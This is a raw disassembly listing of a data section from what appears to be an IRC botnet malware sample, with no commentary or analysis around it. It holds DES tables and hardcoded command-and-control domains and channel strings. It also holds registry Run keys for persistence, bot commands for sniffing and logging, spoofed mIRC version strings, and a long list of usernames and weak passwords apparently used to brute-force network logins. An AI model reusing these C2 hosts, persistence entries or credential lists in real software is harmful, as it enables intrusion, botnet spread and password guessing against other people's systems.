dd 20h, 80100020h, 80008020h, 80000020h, 80108020h, 80108000h
dd 80000000h, 80008000h, 100000h, 20h, 80100020h, 108000h
dd 100020h, 80008020h, 0
dd 80000000h, 8000h, 108020h, 80100000h, 100020h, 80000020h
dd 0
dd 108000h, 8020h, 80108000h, 80100000h, 8020h, 0
dd 108020h, 80100020h, 100000h, 80008020h, 80100000h, 80108000h
dd 8000h, 80100000h, 80008000h, 20h, 80108020h, 108020h
dd 20h, 8000h, 80000000h, 8020h, 80108000h, 100000h, 80000020h
dd 100020h, 80008020h, 80000020h, 100020h, 108000h, 0
dd 80008000h, 8020h, 80000000h, 80100020h, 80108020h, 108000h
dd 208h, 8020200h, 0
dd 8020008h, 8000200h, 0
dd 20208h, 8000200h, 20008h, 2 dup(8000008h), 20000h, 8020208h
dd 20008h, 8020000h, 208h, 8000000h, 8, 8020200h, 200h
dd 20200h, 8020000h, 8020008h, 20208h, 8000208h, 20200h
dd 20000h, 8000208h, 8, 8020208h, 200h, 8000000h, 8020200h
dd 8000000h, 20008h, 208h, 20000h, 8020200h, 8000200h
dd 0
dd 200h, 20008h, 8020208h, 8000200h, 8000008h, 200h, 0
dd 8020008h, 8000208h, 20000h, 8000000h, 8020208h, 8, 20208h
dd 20200h, 8000008h, 8020000h, 8000208h, 208h, 8020000h
dd 20208h, 8, 8020008h, 20200h, 802001h, 2 dup(2081h)
dd 80h, 802080h, 800081h, 800001h, 2001h, 0
dd 2 dup(802000h), 802081h, 81h, 0
dd 800080h, 800001h, 1, 2000h, 800000h, 802001h, 80h, 800000h
dd 2001h, 2080h, 800081h, 1, 2080h, 800080h, 2000h, 802080h
dd 802081h, 81h, 800080h, 800001h, 802000h, 802081h, 81h
dd 2 dup(0)
dd 802000h, 2080h, 800080h, 800081h, 1, 802001h, 2 dup(2081h)
dd 80h, 802081h, 81h, 1, 2000h, 800001h, 2001h, 802080h
dd 800081h, 2001h, 2080h, 800000h, 802001h, 80h, 800000h
dd 2000h, 802080h, 100h, 2080100h, 2080000h, 42000100h
dd 80000h, 100h, 40000000h, 2080000h, 40080100h, 80000h
dd 2000100h, 40080100h, 42000100h, 42080000h, 80100h, 40000000h
dd 2000000h, 2 dup(40080000h), 0
dd 40000100h, 2 dup(42080100h), 2000100h, 42080000h, 40000100h
dd 0
dd 42000000h, 2080100h, 2000000h, 42000000h, 80100h, 80000h
dd 42000100h, 100h, 2000000h, 40000000h, 2080000h, 42000100h
dd 40080100h, 2000100h, 40000000h, 42080000h, 2080100h
dd 40080100h, 100h, 2000000h, 42080000h, 42080100h, 80100h
dd 42000000h, 42080100h, 2080000h, 0
dd 40080000h, 42000000h, 80100h, 2000100h, 40000100h, 80000h
dd 0
dd 40080000h, 2080100h, 40000100h, 20000010h, 20400000h
dd 4000h, 20404010h, 20400000h, 10h, 20404010h, 400000h
dd 20004000h, 404010h, 400000h, 20000010h, 400010h, 20004000h
dd 20000000h, 4010h, 0
dd 400010h, 20004010h, 4000h, 404000h, 20004010h, 10h
dd 2 dup(20400010h), 0
dd offset loc_40400F+1
dd 20404000h, 4010h, 404000h, 20404000h, 20000000h, 20004000h
dd 10h, 20400010h, 404000h, 20404010h, 400000h, 4010h
dd 20000010h, 400000h, 20004000h, 20000000h, 4010h, 20000010h
dd 20404010h, 404000h, 20400000h, 404010h, 20404000h, 0
dd 20400010h, 10h, 4000h, 20400000h, 404010h, 4000h, 400010h
dd 20004010h, 0
dd 20404000h, 20000000h, 400010h, 20004010h, 200000h, 4200002h
dd 4000802h, 0
dd 800h, 4000802h, 200802h, 4200800h, 4200802h, 200000h
dd 0
dd 4000002h, 2, 4000000h, 4200002h, 802h, 4000800h, 200802h
dd 200002h, 4000800h, 4000002h, 4200000h, 4200800h, 200002h
dd 4200000h, 800h, 802h, 4200802h, 200800h, 2, 4000000h
dd 200800h, 4000000h, 200800h, 200000h, 2 dup(4000802h)
dd 2 dup(4200002h), 2, 200002h, 4000000h, 4000800h, 200000h
dd 4200800h, 802h, 200802h, 4200800h, 802h, 4000002h, 4200802h
dd 4200000h, 200800h, 0
dd 2, 4200802h, 0
dd 200802h, 4200000h, 800h, 4000002h, 4000800h, 800h, 200002h
dd 10001040h, 1000h, 40000h, 10041040h, 10000000h, 10001040h
dd 40h, 10000000h, 40040h, 10040000h, 10041040h, 41000h
dd 10041000h, 41040h, 1000h, 40h, 10040000h, 10000040h
dd 10001000h, 1040h, 41000h, 40040h, 10040040h, 10041000h
dd 1040h, 2 dup(0)
dd 10040040h, 10000040h, 10001000h, 41040h, 40000h, 41040h
dd 40000h, 10041000h, 1000h, 40h, 10040040h, 1000h, 41040h
dd 10001000h, 40h, 10000040h, 10040000h, 10040040h, 10000000h
dd 40000h, 10001040h, 0
dd 10041040h, 40040h, 10000040h, 10040000h, 10001000h
dd 10001040h, 0
dd 10041040h, 2 dup(41000h), 2 dup(1040h), 40040h, 10000000h
dd 10041000h
dword_42A958 dd 25D2h ; sub_40121E+517r
dword_42A95C dd 0EC3h dword_42A960 dd 1A08h dword_42A964 dd 45h ; sub_40BC0C+3Br
dword_42A968 dd 1F90h ; sub_40BC0C:loc_40BFF4r
dword_42A96C dd 201h word_42A970 dw 7C7h ; DATA XREF: sub_401AA1:loc_4046C4r
align 4
dword_42A974 dd 1 dword_42A978 dd 1 dword_42A97C dd 1 ; sub_4189E4+Cr
byte_42A980 db 2Eh ; DATA XREF: sub_401AA1+A3Dr
; sub_401AA1+AF7r ...
align 4
dword_42A984 dd 6 ; sub_40A97E+5Fr ...
dword_42A988 dd 6 ; sub_401AA1+26Er ...
dword_42A98C dd 1 ; sub_401AA1+268r
dword_42A990 dd 0B730B728h, 0B737B730h, 29h, 0 ; sub_401AA1:loc_4043FCo ...
dword_42A9A0 dd 91313003h, 2343003h, 781F025Ah, 373561Fh, 32C3130h
; DATA XREF: sub_401AA1:loc_4048C9o
dd 33A3431h, 30032031h, 30039131h, 56021F34h, 5852021Fh
dd 2C313003h, 3A353103h, 31300320h, 2340391h, 6C650252h
dd 6564616Fh, 42022064h, 30037902h, 3202C31h, 281F3531h
dd 0B734031Fh, 2313003h, 361026Ch, 6D023430h, 31300302h
dd 2720265h, 3B73403h, 291F3531h, 0
dword_42AA14 dd 6D616Ch ; sub_401AA1+7BA6o
aTrying_q8cv_or db 'trying.q8cv.org',0 ; DATA XREF: sub_40121E+47Bo
; sub_40121E+508o
asc_42AA28 db '#l#',0 ; DATA XREF: sub_40121E+49Bo
; sub_40121E+51Eo ...
aL4mo db 'l4mo',0 ; DATA XREF: sub_40121E+4B2o
; sub_40121E+530o
align 4
byte_42AA34 db 74h ; DATA XREF: sub_40121E:loc_40175Er
; sub_40121E+54Eo
aRying_homler_n db 'rying.homler.net',0
align 4
asc_42AA48 db '#l#',0 ; DATA XREF: sub_40121E+564o
aL4mo_0 db 'l4mo',0 ; DATA XREF: sub_40121E+576o
align 4
byte_42AA54 db 57h ; DATA XREF: sub_40121E+140o
; sub_40121E+164w ...
db 69h, 6Eh, 54h
dd 70697063h, 78652E73h, 65h, 746E6977h, 622E7061h, 7461h
aMicrosoftGetwa db 'MicroSoft Getway Dire',0 ; DATA XREF: sub_401000+Bo
align 4
aL4m3r db '[l4m3r]',0 ; DATA XREF: .XPack0:0040A9FCo
aWansys_dat db 'wansys.dat',0
align 4
aXI db '-x+i',0 ; DATA XREF: sub_401AA1+7C26o
align 4
asc_42AAA4 db '#l',0 ; DATA XREF: sub_401AA1+1E47o
; sub_401AA1+1E58o ...
align 4
aLog_0 db '#LOG#',0 ; DATA XREF: sub_401AA1+7212o
; sub_401AA1+7267o
align 10h
aSniff db '#sniff#',0 ; DATA XREF: sub_401AA1+40D2o
; sub_401AA1+421Eo
off_42AAB8 dd offset a@_0 ; DATA XREF: sub_401AA1+7B7Dr
; "*@*"
off_42AABC dd offset aMircV6_16Khale ; DATA XREF: sub_401AA1+86Er
; "mIRC v6.16 Khaled Mardam-Bey"
dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey"
dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey"
dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey"
byte_42AACC db 53h ; DATA XREF: .XPack0:off_42A054o
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
align 4
db 53h
aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A4EB+28o
; sub_41A811+28o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A4EB+D4o
; sub_41A811+D4o
align 4
dd 2 dup(1), 0
dd offset aAdministrator ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aStaff ; "staff"
dd offset aRoot ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest ; "guest"
dd offset aDefault ; "default"
dd offset aDatabase ; "database"
dd offset aDba ; "dba"
dd offset aOracle ; "oracle"
dd offset aDb2 ; "db2"
align 10h
dd offset byte_4404C4
dd offset aAdministrator ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aAdm ; "adm"
dd offset aPassword1 ; "password1"
dd offset aPassword ; "password"
dd offset aPasswd ; "passwd"
dd offset aPass1234 ; "pass1234"
dd offset aPass ; "pass"
dd offset aPwd ; "pwd"
dd offset a007 ; "007"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a1234567890 ; "1234567890"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset aTest ; "test"
dd offset aGuest ; "guest"
dd offset aNone ; "none"
dd offset aDemo ; "demo"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aDefault ; "default"
dd offset aSystem ; "system"
dd offset aServer ; "server"
dd offset aRoot ; "root"
dd offset aNull ; "null"
dd offset aQwerty ; "qwerty"
dd offset aMail ; "mail"
dd offset aOutlook ; "outlook"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aAccounts ; "accounts"
dd offset aAccounting ; "accounting"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser ; "user"
dd offset aOem ; "oem"
dd offset aOemuser ; "oemuser"
dd offset aOeminstall ; "oeminstall"
dd offset aWindows ; "windows"
dd offset aWin98 ; "win98"
dd offset aWin2k ; "win2k"
dd offset aWinxp ; "winxp"
dd offset aWinnt ; "winnt"
dd offset aWin2000 ; "win2000"
dd offset aQaz ; "qaz"
dd offset aAsd ; "asd"
dd offset aZxc ; "zxc"
dd offset aQwe ; "qwe"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
dd offset aPeter ; "peter"
dd offset aBrian ; "brian"
dd offset aLee ; "lee"
dd offset aNeil ; "neil"
dd offset aIan ; "ian"
dd offset aChris ; "chris"
dd offset aEric ; "eric"
dd offset aGeorge ; "george"
dd offset aKate ; "kate"
dd offset aBob ; "bob"
dd offset aKatie ; "katie"
dd offset aMary ; "mary"
dd offset aLogin ; "login"
dd offset aLoginpass ; "loginpass"
dd offset aTechnical ; "technical"
dd offset aBackup ; "backup"
dd offset aExchange ; "exchange"
dd offset aFuck ; "fuck"
dd offset aBitch ; "bitch"
dd offset aSlut ; "slut"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aDomain ; "domain"
dd offset aDomainpass ; "domainpass"
dd offset aDomainpassword ; "domainpassword"
dd offset aDatabase ; "database"
dd offset aAccess ; "access"
dd offset aDbpass ; "dbpass"
dd offset aDbpassword ; "dbpassword"
dd offset aDatabasepass ; "databasepass"
dd offset aData ; "data"
dd offset aDatabasepasswo ; "databasepassword"
dd offset aDb1 ; "db1"
dd offset aDb2 ; "db2"
dd offset aDb1234 ; "db1234"
dd offset aSa ; "sa"
dd offset aSql ; "sql"
dd offset aSqlpassoainsta ; "sqlpassoainstall"
dd offset aOrainstall ; "orainstall"
dd offset aOracle ; "oracle"
dd offset aIbm ; "ibm"
dd offset aCisco ; "cisco"
dd offset aDell ; "dell"
dd offset aCompaq ; "compaq"
dd offset aSiemens ; "siemens"
dd offset aHp ; "hp"
dd offset aNokia ; "nokia"
dd offset aXp ; "xp"
dd offset aControl ; "control"
dd offset aOffice ; "office"
dd offset aBlank ; "blank"
dd offset aWinpass ; "winpass"
dd offset aMain ; "main"
dd offset aLan ; "lan"
dd offset aInternet ; "internet"
dd offset aIntranet ; "intranet"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aStaff ; "staff"
align 10h
dword_42AE00 dd 10h ; sub_401AA1+AD3r ...
aIntranet db 'intranet',0 ; DATA XREF: .XPack0:0040E6BEo
; .XPack0:0042ADECo
align 10h
aLan db 'lan',0 ; DATA XREF: .XPack0:0040E6B4o
; .XPack0:0042ADE4o
aMain db 'main',0 ; DATA XREF: .XPack0:0040E6ADo
; .XPack0:0042ADE0o
align 4
aWinpass db 'winpass',0 ; DATA XREF: .XPack0:0040E6A6o
; .XPack0:0042ADDCo
aBlank db 'blank',0 ; DATA XREF: .XPack0:0040E69Fo
; .XPack0:0042ADD8o
align 4
aOffice db 'office',0 ; DATA XREF: .XPack0:0040E698o
; .XPack0:0042ADD4o
align 4
aControl db 'control',0 ; DATA XREF: .XPack0:0040E691o
; .XPack0:0042ADD0o
aXp db 'xp',0 ; DATA XREF: .XPack0:0040E68Ao
; .XPack0:0042ADCCo
align 10h
aNokia db 'nokia',0 ; DATA XREF: .XPack0:0040E683o
; .XPack0:0042ADC8o
align 4
aHp db 'hp',0 ; DATA XREF: .XPack0:0040E67Co
; .XPack0:0042ADC4o
align 4
aSiemens db 'siemens',0 ; DATA XREF: .XPack0:0040E675o
; .XPack0:0042ADC0o
aCompaq db 'compaq',0 ; DATA XREF: .XPack0:0040E66Eo
; .XPack0:0042ADBCo
align 4
aDell db 'dell',0 ; DATA XREF: .XPack0:0040E667o
; .XPack0:0042ADB8o
align 4
aCisco db 'cisco',0 ; DATA XREF: .XPack0:0040E660o
; .XPack0:0042ADB4o
align 4
aIbm db 'ibm',0 ; DATA XREF: .XPack0:0040E656o
; .XPack0:0042ADB0o
aOrainstall db 'orainstall',0 ; DATA XREF: .XPack0:0040E642o
; .XPack0:0042ADA8o
align 4
aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .XPack0:0040E638o
; .XPack0:0042ADA4o
align 10h
aSql db 'sql',0 ; DATA XREF: .XPack0:0040E62Eo
; .XPack0:0042ADA0o
aSa db 'sa',0 ; DATA XREF: sub_401AA1+1B56o
; .XPack0:0040E199o ...
align 4
aDb1234 db 'db1234',0 ; DATA XREF: .XPack0:0040E61Eo
; .XPack0:0042AD98o
align 10h
aDb1 db 'db1',0 ; DATA XREF: .XPack0:0040E60Ao
; .XPack0:0042AD90o
aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .XPack0:0040E600o
; .XPack0:0042AD8Co
align 4
aData db 'data',0 ; DATA XREF: .XPack0:0040E5F6o
; .XPack0:0042AD88o
align 10h
aDatabasepass db 'databasepass',0 ; DATA XREF: .XPack0:0040E5ECo
; .XPack0:0042AD84o
align 10h
aDbpassword db 'dbpassword',0 ; DATA XREF: .XPack0:0040E5E2o
; .XPack0:0042AD80o
align 4
aDbpass db 'dbpass',0 ; DATA XREF: .XPack0:0040E5D8o
; .XPack0:0042AD7Co
align 4
aAccess db 'access',0 ; DATA XREF: .XPack0:0040E5CEo
; .XPack0:0042AD78o
align 4
aDomainpassword db 'domainpassword',0 ; DATA XREF: .XPack0:0040E5BAo
; .XPack0:0042AD70o
align 4
aDomainpass db 'domainpass',0 ; DATA XREF: .XPack0:0040E5B0o
; .XPack0:0042AD6Co
align 4
aDomain db 'domain',0 ; DATA XREF: .XPack0:0040E5A6o
; .XPack0:0042AD68o
align 10h
aHello db 'hello',0 ; DATA XREF: .XPack0:0040E59Co
; .XPack0:0042AD64o
align 4
aHell db 'hell',0 ; DATA XREF: .XPack0:0040E592o
; .XPack0:0042AD60o
align 10h
aGod db 'god',0 ; DATA XREF: .XPack0:0040E588o
; .XPack0:0042AD5Co
aSex db 'sex',0 ; DATA XREF: .XPack0:0040E57Eo
; .XPack0:0042AD58o ...
aSlut db 'slut',0 ; DATA XREF: .XPack0:0040E574o
; .XPack0:0042AD54o
align 10h
aBitch db 'bitch',0 ; DATA XREF: .XPack0:0040E56Ao
; .XPack0:0042AD50o
align 4
aFuck db 'fuck',0 ; DATA XREF: .XPack0:0040E560o
; .XPack0:0042AD4Co
align 10h
aExchange db 'exchange',0 ; DATA XREF: .XPack0:0040E556o
; .XPack0:0042AD48o
align 4
aBackup db 'backup',0 ; DATA XREF: .XPack0:0040E54Co
; .XPack0:0042AD44o
align 4
aTechnical db 'technical',0 ; DATA XREF: .XPack0:0040E542o
; .XPack0:0042AD40o
align 10h
aLoginpass db 'loginpass',0 ; DATA XREF: .XPack0:0040E538o
; .XPack0:0042AD3Co
align 4
aLogin db 'login',0 ; DATA XREF: .XPack0:0040E52Eo
; .XPack0:0042AD38o
align 4
aMary db 'mary',0 ; DATA XREF: .XPack0:0040E524o
; .XPack0:0042AD34o
align 4
aKatie db 'katie',0 ; DATA XREF: .XPack0:0040E51Ao
; .XPack0:0042AD30o
align 4
aKate db 'kate',0 ; DATA XREF: .XPack0:0040E50Ao
; .XPack0:0042AD28o
align 4
aGeorge db 'george',0 ; DATA XREF: .XPack0:0040E500o
; .XPack0:0042AD24o
align 4
aEric db 'eric',0 ; DATA XREF: .XPack0:0040E4F6o
; .XPack0:0042AD20o
align 4
aChris db 'chris',0 ; DATA XREF: .XPack0:0040E4ECo
; .XPack0:0042AD1Co
align 4
aIan db 'ian',0 ; DATA XREF: .XPack0:0040E4E2o
; .XPack0:0042AD18o
aNeil db 'neil',0 ; DATA XREF: .XPack0:0040E4D8o
; .XPack0:0042AD14o
align 10h
aLee db 'lee',0 ; DATA XREF: .XPack0:0040E4CEo
; .XPack0:0042AD10o
aBrian db 'brian',0 ; DATA XREF: .XPack0:0040E4C4o
; .XPack0:0042AD0Co
align 4
aSusan db 'susan',0 ; DATA XREF: .XPack0:0040E4B4o
; .XPack0:0042AD04o
align 4
aSue db 'sue',0 ; DATA XREF: .XPack0:0040E4AAo
; .XPack0:0042AD00o
aSam db 'sam',0 ; DATA XREF: .XPack0:0040E4A0o
; .XPack0:0042ACFCo
aLuke db 'luke',0 ; DATA XREF: .XPack0:0040E496o
; .XPack0:0042ACF8o
align 4
aPeter db 'peter',0 ; DATA XREF: .XPack0:0040E435o
; .XPack0:0042ACF4o ...
align 4
aJohn db 'john',0 ; DATA XREF: .XPack0:0040E486o
; .XPack0:0042ACF0o
align 4
aMike db 'mike',0 ; DATA XREF: .XPack0:0040E47Co
; .XPack0:0042ACECo
align 4
aBill db 'bill',0 ; DATA XREF: .XPack0:0040E472o
; .XPack0:0042ACE8o
align 4
aFred db 'fred',0 ; DATA XREF: .XPack0:0040E468o
; .XPack0:0042ACE4o
align 4
aJoe db 'joe',0 ; DATA XREF: .XPack0:0040E45Eo
; .XPack0:0042ACE0o
aJen db 'jen',0 ; DATA XREF: .XPack0:0040E454o
; .XPack0:0042ACDCo
aBob db 'bob',0 ; DATA XREF: .XPack0:0040E430o
; .XPack0:0042ACD8o ...
aQwe db 'qwe',0 ; DATA XREF: .XPack0:0040E444o
; .XPack0:0042ACD4o
aZxc db 'zxc',0 ; DATA XREF: .XPack0:0040E43Ao
; .XPack0:0042ACD0o
aAsd db 'asd',0 ; DATA XREF: .XPack0:0040E426o
; .XPack0:0042ACCCo
aQaz db 'qaz',0 ; DATA XREF: .XPack0:0040E41Co
; .XPack0:0042ACC8o
aWin2000 db 'win2000',0 ; DATA XREF: .XPack0:0040E412o
; .XPack0:0042ACC4o
aWinnt db 'winnt',0 ; DATA XREF: .XPack0:0040E408o
; .XPack0:0042ACC0o
align 4
aWinxp db 'winxp',0 ; DATA XREF: .XPack0:0040E3FEo
; .XPack0:0042ACBCo
align 10h
aWin2k db 'win2k',0 ; DATA XREF: .XPack0:0040E3F4o
; .XPack0:0042ACB8o
align 4
aWin98 db 'win98',0 ; DATA XREF: .XPack0:0040E3EAo
; .XPack0:0042ACB4o
align 10h
aWindows db 'windows',0 ; DATA XREF: .XPack0:0040E3E0o
; .XPack0:0042ACB0o
aOeminstall db 'oeminstall',0 ; DATA XREF: .XPack0:0040E3D6o
; .XPack0:0042ACACo
align 4
aOemuser db 'oemuser',0 ; DATA XREF: .XPack0:0040E3CCo
; .XPack0:0042ACA8o
aOem db 'oem',0 ; DATA XREF: .XPack0:0040E3C2o
; .XPack0:0042ACA4o
aUser db 'user',0 ; DATA XREF: sub_401AA1+45E3o
; .XPack0:0040E3B8o ...
align 4
aHomeuser db 'homeuser',0 ; DATA XREF: .XPack0:0040E3AEo
; .XPack0:0042AC9Co
align 4
aHome db 'home',0 ; DATA XREF: .XPack0:0040E3A4o
; .XPack0:0042AC98o
align 4
aAccounting db 'accounting',0 ; DATA XREF: .XPack0:0040E39Ao
; .XPack0:0042AC94o
align 4
aAccounts db 'accounts',0 ; DATA XREF: .XPack0:0040E390o
; .XPack0:0042AC90o
align 4
aInternet db 'internet',0 ; DATA XREF: .XPack0:0040E1AFo
; .XPack0:0042AC8Co ...
align 10h
aWww db 'www',0 ; DATA XREF: .XPack0:0040E380o
; .XPack0:0042AC88o
aWeb db 'web',0 ; DATA XREF: sub_401AA1+71E1o
; .XPack0:0040E376o ...
aOutlook db 'outlook',0 ; DATA XREF: .XPack0:0040E36Co
; .XPack0:0042AC80o
aMail db 'mail',0 ; DATA XREF: .XPack0:0040E362o
; .XPack0:0042AC7Co
align 4
aQwerty db 'qwerty',0 ; DATA XREF: .XPack0:0040E358o
; .XPack0:0042AC78o
align 10h
aNull db 'null',0 ; DATA XREF: .XPack0:0040E34Eo
; .XPack0:0042AC74o
align 4
aServer db 'server',0 ; DATA XREF: sub_401AA1+3E73o
; .XPack0:0040E33Eo ...
align 10h
aSystem db 'system',0 ; DATA XREF: .XPack0:0040E334o
; .XPack0:0042AC68o
align 4
aChangeme db 'changeme',0 ; DATA XREF: .XPack0:0040E320o
; .XPack0:0042AC60o
align 4
aLinux db 'linux',0 ; DATA XREF: .XPack0:0040E316o
; .XPack0:0042AC5Co
align 4
aUnix db 'unix',0 ; DATA XREF: .XPack0:0040E30Co
; .XPack0:0042AC58o
align 4
aDemo db 'demo',0 ; DATA XREF: .XPack0:0040E302o
; .XPack0:0042AC54o
align 4
aNone db 'none',0 ; DATA XREF: .XPack0:0040E2F8o
; .XPack0:0042AC50o
align 4
aTest db 'test',0 ; DATA XREF: .XPack0:0040E2E4o
; .XPack0:0042AC48o
align 4
a2004 db '2004',0 ; DATA XREF: .XPack0:0040E2DAo
; .XPack0:0042AC44o
align 4
a2003 db '2003',0 ; DATA XREF: .XPack0:0040E2D0o
; sub_41B0A1+BAo ...
align 4
a2002 db '2002',0 ; DATA XREF: .XPack0:0040E2C6o
; .XPack0:0042AC3Co
align 4
a2001 db '2001',0 ; DATA XREF: .XPack0:0040E2BCo
; .XPack0:0042AC38o
align 4
a2000 db '2000',0 ; DATA XREF: .XPack0:0040E2B2o
; .XPack0:0042AC34o
align 4
a1234567890 db '1234567890',0 ; DATA XREF: .XPack0:0040E2A8o
; .XPack0:0042AC30o
align 10h
a123456789 db '123456789',0 ; DATA XREF: .XPack0:0040E29Eo
; .XPack0:0042AC2Co
align 4
a12345678 db '12345678',0 ; DATA XREF: .XPack0:0040E294o
; .XPack0:0042AC28o
align 4
a1234567 db '1234567',0 ; DATA XREF: .XPack0:0040E28Ao
; .XPack0:0042AC24o
a123456 db '123456',0 ; DATA XREF: .XPack0:0040E280o
; .XPack0:0042AC20o
align 4
a12345 db '12345',0 ; DATA XREF: .XPack0:0040E276o
; .XPack0:0042AC1Co
align 10h
a1234 db '1234',0 ; DATA XREF: .XPack0:0040E26Co
; .XPack0:0042AC18o
align 4
a123 db '123',0 ; DATA XREF: .XPack0:0040E262o
; .XPack0:0042AC14o
a12 db '12',0 ; DATA XREF: .XPack0:0040E258o
; .XPack0:0042AC10o
align 10h
a1: ; DATA XREF: .XPack0:0040AE67o
; .XPack0:0040E24Eo ...
unicode 0, <1>,0
a007 db '007',0 ; DATA XREF: .XPack0:0040E244o
; .XPack0:0042AC08o
aPwd db 'pwd',0 ; DATA XREF: .XPack0:0040E23Ao
; .XPack0:0042AC04o
aPass db 'pass',0 ; DATA XREF: .XPack0:0040E230o
; .XPack0:0042AC00o
align 4
aPass1234 db 'pass1234',0 ; DATA XREF: .XPack0:0040E226o
; .XPack0:0042ABFCo
align 10h
aPasswd db 'passwd',0 ; DATA XREF: .XPack0:0040E21Co
; .XPack0:0042ABF8o
align 4
aPassword db 'password',0 ; DATA XREF: .XPack0:0040E212o
; .XPack0:0042ABF4o
align 4
aPassword1 db 'password1',0 ; DATA XREF: .XPack0:0040E208o
; .XPack0:0042ABF0o
align 10h
aAdm db 'adm',0 ; DATA XREF: .XPack0:0040E1FEo
; .XPack0:0042ABECo
aDb2 db 'db2',0 ; DATA XREF: .XPack0:0040E614o
; .XPack0:0042ABC8o ...
aOracle db 'oracle',0 ; DATA XREF: .XPack0:0040E64Co
; .XPack0:0042ABC4o ...
align 10h
aDba db 'dba',0 ; DATA XREF: .XPack0:0042ABC0o
aDatabase db 'database',0 ; DATA XREF: .XPack0:0040E5C4o
; .XPack0:0042ABBCo ...
align 10h
aDefault db 'default',0 ; DATA XREF: .XPack0:0040E32Ao
; .XPack0:0042ABB8o ...
aGuest db 'guest',0 ; DATA XREF: .XPack0:0040E2EEo
; .XPack0:0042ABB4o ...
align 10h
aWwwadmin db 'wwwadmin',0 ; DATA XREF: .XPack0:0042ABB0o
align 4
aTeacher db 'teacher',0 ; DATA XREF: .XPack0:0040E6CCo
; .XPack0:0042ABACo ...
aStudent db 'student',0 ; DATA XREF: .XPack0:0040E6C5o
; .XPack0:0042ABA8o ...
aOwner db 'owner',0 ; DATA XREF: .XPack0:0042ABA4o
align 4
aComputer db 'computer',0 ; DATA XREF: .XPack0:0042ABA0o
align 10h
aRoot db 'root',0 ; DATA XREF: .XPack0:0040E19Eo
; .XPack0:0042AB9Co ...
align 4
aStaff db 'staff',0 ; DATA XREF: .XPack0:0040E6D3o
; .XPack0:0042AB98o ...
align 10h
aAdmin db 'admin',0 ; DATA XREF: .XPack0:0040E1A3o
; .XPack0:0042AB94o ...
align 4
aAdmins db 'admins',0 ; DATA XREF: .XPack0:0040E1EEo
; .XPack0:0042AB90o ...
align 10h
aAdministrat db 'administrat',0 ; DATA XREF: .XPack0:0040E1E4o
; .XPack0:0042AB8Co ...
aAdministrateur db 'administrateur',0 ; DATA XREF: .XPack0:0040E1DAo
; .XPack0:0042AB88o ...
align 4
aAdministrador db 'administrador',0 ; DATA XREF: .XPack0:0040E1D0o
; .XPack0:0042AB84o ...
align 4
aAdministrator db 'administrator',0 ; DATA XREF: .XPack0:0040E1C6o
; .XPack0:0042AB80o ...
align 4
aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .XPack0:0042AAC8o
align 4
aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .XPack0:0042AAC4o
align 4
aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .XPack0:0042AAC0o
align 4
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .XPack0:off_42AABCo
align 4
a@_0 db '*@*',0 ; DATA XREF: .XPack0:off_42AAB8o
unk_42B300 db 3 ; DATA XREF: sub_40121E+456o
db 31h, 35h, 2Ch
db 30h ; 0
db 5Bh, 2, 3
db 30h ; 0
db 34h, 91h, 3
db 30h ; 0
db 31h, 2, 1Fh
db 69h ; i
db 1Fh, 2, 64h
db 2
db 65h, 2, 6Eh
db 2
db 74h, 2, 64h
db 2
db 3, 30h, 34h
db 2Ch ; ,
db 3, 31h, 35h
db 5Dh ; ]
db 3, 34h, 20h
aFailedToStartS db 'Failed to start server, error: <%d>.',0
align 10h
unk_42B350 db 3 ; DATA XREF: sub_40121E+40Bo
db 31h, 35h, 2Ch
db 30h ; 0
db 5Bh, 2, 3
db 30h ; 0
db 34h, 91h, 3
db 30h ; 0
db 31h, 2, 1Fh
db 69h ; i
db 1Fh, 2, 64h
db 2
db 65h, 2, 6Eh
db 2
db 74h, 2, 64h
db 2
db 3, 30h, 34h
db 2Ch ; ,
db 3, 31h, 35h
db 5Dh ; ]
db 3, 34h, 20h
aServerRunningO db 'Server running on Port: 113.',0
align 4
